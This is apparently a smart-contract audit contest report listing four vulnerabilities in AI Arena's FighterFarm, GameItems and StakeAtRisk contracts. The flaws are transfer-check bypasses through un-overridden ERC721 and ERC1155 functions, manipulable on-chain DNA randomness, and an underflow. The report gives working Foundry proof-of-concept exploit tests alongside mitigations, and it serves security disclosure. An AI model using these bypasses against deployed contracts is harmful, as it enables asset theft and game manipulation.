AI Arena - tallo's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L355 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L338

Vulnerability details

The FighterFarm.sol contract which inherits from ERC721 and allows users to mint new fighters, stake their existing fighters, and transfer their fighters to another address. The contract overrides the ERC721 transferFrom and safeTransferFrom functions to call the _ableToTransfer function to enforce safeguards.

contract FighterFarm is ERC721, ERC721Enumerable {
    function transferFrom(
        address from, 
        address to, 
        uint256 tokenId
    ) 
        public 
        override(ERC721, IERC721)
    {
@>      require(_ableToTransfer(tokenId, to));
        _transfer(from, to, tokenId);
    }
    function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId
    ) 
        public 
        override(ERC721, IERC721)
    {
@>      require(_ableToTransfer(tokenId, to));
        _safeTransfer(from, to, tokenId, "");
    }
}

The _ableToTransfer function ensures the from address is the fighter owner, the to address doesn't exceed MAX_FIGHTERS_ALLOWED and the specific fighter is not staked.

    function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) {
        return (
          _isApprovedOrOwner(msg.sender, tokenId) &&
          balanceOf(to) < MAX_FIGHTERS_ALLOWED &&
          !fighterStaked[tokenId]
        );
    }

Unfortunately, these checks aren't applied in every condition. Since FighterFarm inherits from ERC721 it also exposes an additional safeTransferFrom function which FighterFarm doesn't override.

abstract contract ERC721 is ... {
    //overridden 
    function transferFrom(address from, address to, uint256 tokenId) public virtual {}

    //overridden
    function safeTransferFrom(address from, address to, uint256 tokenId) public {}
    
    //NOT overridden
    function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public virtual {}
}

If this function is called directly then the _ableToTransfer safeguards can be bypassed and the fighter can be transferred.

Impact

Several key protocol invariants are broken because of this vulnerability.

1. The RankedBattle.sol contract assumes fighters cant transferred after being staked. If this happens, due to integer underflow, RankedBattle#updateBattleRecord will always revert on loses. This means the player will be incapable of losing.
2. MAX_FIGHTERS_ALLOWED per user can be exceeded

Proof of Concept

This PoC shows how the Fighter can still be transferred even though it is being staked.

1. Place the following test inside FighterFarm.t.sol
2. Run it with forge test --match-test test_transferringBypass

    function test_transferringBypass() public {
        
        _mintFromMergingPool(_ownerAddress);
        _fighterFarmContract.addStaker(_ownerAddress);
        //fighter is staking
        _fighterFarmContract.updateFighterStaking(0, true);
        assertEq(_fighterFarmContract.fighterStaked(0), true);
        //this will revert because this safeTransferFrom is overridden
        vm.expectRevert();
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0);
        assertEq(_fighterFarmContract.ownerOf(0) != _DELEGATED_ADDRESS, true);
        assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);

        //however we can still transfer by calling the other safeTransferFrom
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, "");
        //delegated address is now the owner
        assertEq(_fighterFarmContract.ownerOf(0) == _DELEGATED_ADDRESS, true);
    }

This bonus PoC will show show how this bug can be exploited to never lose a match through permanent revert on loss

1. Place the following test inside RankedBattle.t.sol
2. Run it with forge test --match-test test_lossRevert

    function test_lossRevert() public {
        address player = vm.addr(3);
        address player2 = vm.addr(4);

        _mintFromMergingPool(player);
        uint8 tokenId = 0;
        _fundUserWith4kNeuronByTreasury(player);
        vm.prank(player);
        _rankedBattleContract.stakeNRN(3_000 * 10 ** 18, 0);
        assertEq(_rankedBattleContract.amountStaked(0), 3_000 * 10 ** 18);
        
        //@audit accrue some points through victory
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);

        //@audit transfer while staked
        vm.prank(player);
        _fighterFarmContract.safeTransferFrom(player, player2, 0, "");


        //@audit should revert
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true);
    }    

Tools Used

VIM

Recommended Mitigation Steps

Override the other safeTransferFrom to ensure _ableToTransfer is called.

    function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId,
        bytes memory data
    ) 
        public 
        override(ERC721, IERC721)
    {
        require(_ableToTransfer(tokenId, to));
        _safeTransfer(from, to, tokenId, data);
    }

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L301

Vulnerability details

The GameItems.sol allows users to buy game items. On creation, items are given the transferable property which is used to determine whether one player can transfer the item to another player. This property is enforced by overriding the ERC1155 safeTransferFrom function to contain a check.

contract GameItems is ERC1155 {
    function safeTransferFrom(address from, address to, uint256 tokenId,uint256 amount,bytes memory data) public override(ERC1155){
        //reverts if item not transferable
@>      require(allGameItemAttributes[tokenId].transferable);
        super.safeTransferFrom(from, to, tokenId, amount, data);
    }
}

This function works correctly but since the contract inherits from ERC1155, the function safeBatchTransferFrom is also available.

abstract contract ERC1155 is ... {
    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] memory ids,
        uint256[] memory values,
        bytes memory data
    ) public virtual {}

This function is NOT overridden, therefore a user can just call safeBatchTransferFrom instead of safeTransferFrom in order to transfer any item and bypass the check.

Impact

All items can be transferred even if the admin creates the item to be nontransferable. This allows users to break the daily supply cap for game items and break the admins intentions for the item.

Proof of Concept

1.Place the following test inside GameItems.t.sol 2. Run the test with forge test --match-test test_transferabilityBypass

    function test_transferabilityBypass() public {
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        _gameItemsContract.mint(0, 1);

        //make not transferable
        _gameItemsContract.adjustTransferability(0, false);

        //this should revert due to GameItems overwriting safeTransferFrom and reverting when item not transferable
        vm.expectRevert();
        _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, 1, "");

        uint256[] memory ids = new uint256[](1);
        uint256[] memory values = new uint256[](1);
        ids[0] = 0;
        values[0] = 1;

        //this won't revert, the tests will pass and DELEGATED_ADDRESS will now contain the game item
        _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, ids, values, "");
        assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 1);
        assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0);
    }

Tools Used

VIM

Recommended Mitigation Steps

Override safeBatchTrasferFrom and add a similar check to all tokenIds

    function safeBatchTransferFrom(
        address from, 
        address to, 
        uint256[] memory tokenIds,
        uint256[] memory amounts,
        bytes memory data
    ) 
        public 
        override(ERC1155)
    {
        for(uint tokenId = 0; tokenId < tokenIds.length; tokenId++) {
             require(allGameItemAttributes[tokenId].transferable, "tokenId not transferable");
        }
        super.safeBatchTransferFrom(from, to, tokenIds, amounts, data);
    }

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L214 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L324 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L379

Vulnerability details

The user can purchase an NFT off-chain and the admin/_delegatedAddress generates a signature approving the user to mint fighters by calling FighterFarm#claimFighters.

    function claimFighters(uint8[2] calldata numToMint,bytes calldata signature,string[] calldata modelHashes,string[] calldata modelTypes) external {
        bytes32 msgHash = bytes32(keccak256(abi.encode(
            msg.sender, 
            numToMint[0], 
            numToMint[1],
            nftsClaimed[msg.sender][0],
            nftsClaimed[msg.sender][1]
        )));
        require(Verification.verify(msgHash, signature, _delegatedAddress));
        //...

claimFighters then generates a unique DNA sequence for each fighter and uses this to generate a fighters stats.

According to the docs:

This DNA sequence is randomly generated off-chain and used to extract the physical attributes. 
Each generation of fighters has a different set of attributes with a given DNA sequence.

This however is not true. The DNA sequence is dependent on the msg.sender and the number of fighters minted. Both of these are vulnerable to manipulation by a user in order to gain a rarer NFT.

    function claimFighters(uint8[2] calldata numToMint,bytes calldata signature,string[] calldata modelHashes,string[] calldata modelTypes) external {
        //..
        for (uint16 i = 0; i < totalToMint; i++) {
            _createNewFighter(
                msg.sender, //to
@>              uint256(keccak256(abi.encode(msg.sender, fighters.length))), //dna
                //...
            );
         }
     }

This same issue exists in both FighterFarm#mintFromMergingPool and FighterFarm#reRoll.

Impact

Attackers can generate arbitrarily rare fighter NFT's for no extra cost due to manipulatable RNG. This is a fundamental system vulnerability since it is expected that all users have an equally rare and random chance of obtaining rare NFT's.

Proof of Concept

Manipulation through msg.sender

1. The user generates multiple public/private key pairs
2. The user iterates through each pair, and simulates their fighters stats by calling _createNewFighter locally.
3. The user does this until they get a sufficiently rare NFT which they then purchase and mint with the public/private key pair

Manipulation through fighters.length

1. The user purchases a fighter NFT and is given the appropriate signature to mint the NFT.
2. The user simulates the generated fighter off-chain
3. If the user is displeased with their generated fighters rarity, they just wait till another user mints and increments fighters.length
4. When fighters.length is incremented they will be given a free re-roll and can just wait to redeem their NFT when satisfied with the rarity.

Manipulation on re-rolls

1. Fighter rerolling is dependent on msg.sender.

    function reRoll(uint8 tokenId, uint8 fighterType) public {
            //...
            uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));

2. Again, the attacker can generate multiple public/private key pairs
3. The attacker can simulate the NFT rarity for each different msg.sender
4. When the attacker finds a rare enough fighter they simply transfer the NFT to the relevant address before calling reRoll.
5. The attacker now has a guaranteed ultra-rare NFT after one call to reRoll

Tools Used

VIM

Recommended Mitigation Steps

As stated in the docs, fighter DNA should be generated off-chain exclusively and not be dependent on on-chain/user controlled parameters. The DNA should be verified in the signature inside claimFighters.

The same vulnerability remains inside FighterFarm#mintFromMergingPool and should also contain an off-chain random generated DNA value. This value can be applied to a winner when MergingPool#pickWinner is called by the admin.

reRoll's determinism can be solved in a similar way to claimFighters. By requiring an off-chain generated value that is signed by _delegatedAddress.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/StakeAtRisk.sol#L104 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/StakeAtRisk.sol#L125

Vulnerability details

When users lose a match without any points, NRN becomes at risk of being lost. The amount of NRN at risk is transferred to the StakeAtRisk contract and StakeAtRisk#updateAtRiskRecords is called. Relevant data pertaining to the fighterId, roundId and fighterOwner is incremented. The amountLost[fighterOwner] variable in particular can cause issues under certain circumstances and will be explained shortly.

contract StakeAtRisk {
    function updateAtRiskRecords(uint256 nrnToPlaceAtRisk, uint256 fighterId, address fighterOwner) external {
        require(msg.sender == _rankedBattleAddress, "Call must be from RankedBattle contract");
        stakeAtRisk[roundId][fighterId] += nrnToPlaceAtRisk;
        totalStakeAtRisk[roundId] += nrnToPlaceAtRisk;
@>      amountLost[fighterOwner] += nrnToPlaceAtRisk;
        emit IncreasedStakeAtRisk(fighterId, nrnToPlaceAtRisk);
    }   

Likewise, when users win, they are able to reclaim their at risk NRN. This is done when StakeAtRisk#reclaimNRN is called. The function decrements the relevant variables that were incremented in updateAtRiskRecords. The amountLost[fighterOwner] variable here is decremented.

contract StakeAtRisk {
    function reclaimNRN(uint256 nrnToReclaim, uint256 fighterId, address fighterOwner) external {
        //...
        if (success) {
            stakeAtRisk[roundId][fighterId] -= nrnToReclaim;
            totalStakeAtRisk[roundId] -= nrnToReclaim;
@>          amountLost[fighterOwner] -= nrnToReclaim;
            emit ReclaimedStake(fighterId, nrnToReclaim);
        }
    }

Under the following chain of events, this function flow will unintentionally revert:

1. Player1 stakes 3000 NRN on fighter 1
2. Player1 loses a match (or multiple) and 3 NRN is put at risk. updateAtRiskRecords called amountLost[player1] += 3e18
3. Player1 unstakes the rest of their NRN
4. Player1 sells and transfers fighter 1 to Player2
5. Player2 wins a match with fighter 1. reclaimNRN called amountLost[player2] -= 3e18 --> underflow since amountLost[player2] is zero This is where the issue lies, the amountLost value was first accrued when player1 was defeated, and then decremented from the amountLost of player2 when victorious with the same NFT. Since player2 didnt accrue any amountLost then the operation will revert and player2 will be unable to claim the victory, earn points, or reclaim the NRN.

Impact

For the rest of the round, the affected user will:

1. be unable to win matches and gain points
2. lose the ability to reclaim the stake at risk for their fighter.

Proof of Concept

1. Place the following proof of concept test inside RankedBattle.t.sol
2. Run the test with forge test --match-test revertOnWin
3. The final call to updateBattleRecord successfully reverts and the test passes

    function test_revertOnWin() public {
        address player1 = vm.addr(3);
        address player2 = vm.addr(4);
        uint8 tokenId = 0;
        _mintFromMergingPool(player1);
        _fundUserWith4kNeuronByTreasury(player1);
        _fundUserWith4kNeuronByTreasury(player2);

        //1 - player1 stakes NRN on fighter0
        vm.prank(player1);
        _rankedBattleContract.stakeNRN(3_000 * 10 ** 18, tokenId);
        //2 - player1 loses x amount of matches, putting NRN at risk
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true);
        //3 - player1 rage quits and unstakes the rest of his NRN
        vm.prank(player1);
        _rankedBattleContract.unstakeNRN(3_000 * 10 ** 18, tokenId);
        //4 - player2 buys fighter0 from player1
        vm.prank(player1);
        _fighterFarmContract.transferFrom(player1, player2, tokenId);
        //5 - player2 wins with the newly acquired fighter0 and the call reverts due to underflow
        vm.prank(address(_GAME_SERVER_ADDRESS));
        vm.expectRevert();
        _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, true);
    }

Tools Used

VIM

Recommended Mitigation Steps

One option is to just remove the amountLost variable since it doesn't have much real utility. The following fix will also work:

    function reclaimNRN(uint256 nrnToReclaim, uint256 fighterId, address fighterOwner) external {
        //...
        if (success) {
            stakeAtRisk[roundId][fighterId] -= nrnToReclaim;
            totalStakeAtRisk[roundId] -= nrnToReclaim;
-           amountLost[fighterOwner] -= nrnToReclaim;
+           amountLost[fighterOwner] = amountLost[fighterOwner] < nrnToReclaim ? 0: amountLost[fighterOwner]-nrnToReclaim;
            emit ReclaimedStake(fighterId, nrnToReclaim);
        }
    }

Note on the severity

It's not entirely clear if this is a medium or high severity issue. The situation described is quite likely to happen: player1 loses, rage-quit unstakes and sells fighter to player2 who goes on to win a match in the same round. The issue is atleast medium severity since protocol functionality is temporarily broken for the rest of the round, but a case for high severity can be made since funds are at risk and unable to be reclaimed even during victory.

Assessed type

Under/Overflow